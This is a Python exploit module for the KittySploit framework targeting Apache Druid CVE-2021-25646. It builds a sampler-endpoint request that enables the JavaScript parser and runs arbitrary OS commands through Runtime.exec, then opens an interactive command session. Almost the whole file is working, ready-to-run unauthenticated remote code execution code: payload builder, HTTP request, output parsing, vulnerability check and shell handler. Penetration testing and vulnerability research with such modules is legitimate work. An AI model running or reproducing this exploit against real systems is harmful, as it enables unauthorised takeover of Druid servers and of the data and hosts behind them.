Apache Druid JavaScript RCE (CVE-2021-25646)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Druid JavaScript sampler RCE (CVE-2021-25646) — opens execute session."""

from __future__ import annotations

import json
import random
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Druid JavaScript RCE (CVE-2021-25646)',
        'description': (
            'Exploits CVE-2021-25646 by enabling the JavaScript parser through '
            '/druid/indexer/v1/sampler and running arbitrary OS commands. '
            'Druid < 0.20.1; authentication is off by default. '
            'Opens an interactive execute session.'
        ),
        'author': ['Litch1', 'KittySploit Team'],
        'cve': ['CVE-2021-25646'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-25646',
            'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E',
        ],
        'tags': [
            'druid', 'apache', 'javascript', 'sampler', 'rce', 'unauth',
            'kev', 'cve-2021-25646',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['druid', 'apache'],
                'endpoint_pattern_any': ['/druid/indexer/v1/sampler'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'sampler JavaScript exec'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2021_25646_detect'],
            },
        },
    }

    port = OptPort(8888, 'Apache Druid HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    shell = OptChoice(
        'unix',
        'Shell wrapper for Runtime.exec split',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    def _sampler_path(self) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = '/druid/indexer/v1/sampler'
        return f'{base}{suffix}' if base else suffix

    def _build_payload(self, cmd: str) -> tuple[dict, str]:
        if self.shell == 'windows':
            gencmd = f'cmd`@~/c`@~{cmd}'
        else:
            gencmd = f'/bin/sh`@~-c`@~{cmd}'
        var_name = self.random_text(8)
        field_name = self.random_text(8)
        ts = str(random.randint(1, 9999999))
        escaped = gencmd.replace('\\', '\\\\').replace('"', '\\"')
        function = (
            f'function(){{var {var_name} = new java.util.Scanner('
            f'java.lang.Runtime.getRuntime().exec("{escaped}".split("`@~"))'
            f'.getInputStream()).useDelimiter("\\\\A").next();'
            f'return {{timestamp:"{ts}",{field_name}: {var_name}}}}}'
        )
        body = {
            'type': 'index',
            'spec': {
                'ioConfig': {
                    'type': 'index',
                    'firehose': {
                        'type': 'local',
                        'baseDir': '/etc',
                        'filter': 'hosts',
                    },
                },
                'dataSchema': {
                    'dataSource': self.random_text(10),
                    'parser': {
                        'parseSpec': {
                            'format': 'javascript',
                            'timestampSpec': {},
                            'dimensionsSpec': {},
                            'function': function,
                            '': {'enabled': 'true'},
                        },
                    },
                },
            },
            'samplerConfig': {'numRows': 10},
        }
        return body, field_name

    def _run_command(self, cmd: str) -> tuple[str | None, str]:
        payload, field = self._build_payload(cmd)
        r = self.http_request(
            method='POST',
            path=self._sampler_path(),
            data=json.dumps(payload),
            headers={
                'Content-Type': 'application/json',
                'Accept': 'application/json, text/plain, */*',
            },
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None, field
        return r.text or '', field

    def _extract_field(self, body: str, field: str) -> str:
        try:
            data = json.loads(body)
        except json.JSONDecodeError:
            return body if field in body else ''
        rows = data.get('data')
        if isinstance(rows, list):
            for row in rows:
                if isinstance(row, dict) and field in row:
                    return str(row[field])
        if field in body:
            match = re.search(
                rf'"{re.escape(field)}"\s*:\s*"((?:\\.|[^"\\])*)"',
                body,
            )
            if match:
                return json.loads(f'"{match.group(1)}"')
        return ''

    def execute(self, cmd: str) -> str:
        body, field = self._run_command(cmd)
        if body is None:
            return ''
        return self._extract_field(body, field)

    def check(self):
        token = self.random_text(12).replace('A', 'a')
        body, field = self._run_command(f'echo {token}')
        if body is None:
            return {
                'vulnerable': False,
                'reason': 'Sampler endpoint unreachable or rejected',
                'confidence': 'medium',
            }
        if token in body or token in self._extract_field(body, field):
            return {
                'vulnerable': True,
                'reason': 'CVE-2021-25646 confirmed via sampler echo',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Sampler responded but command output not reflected',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()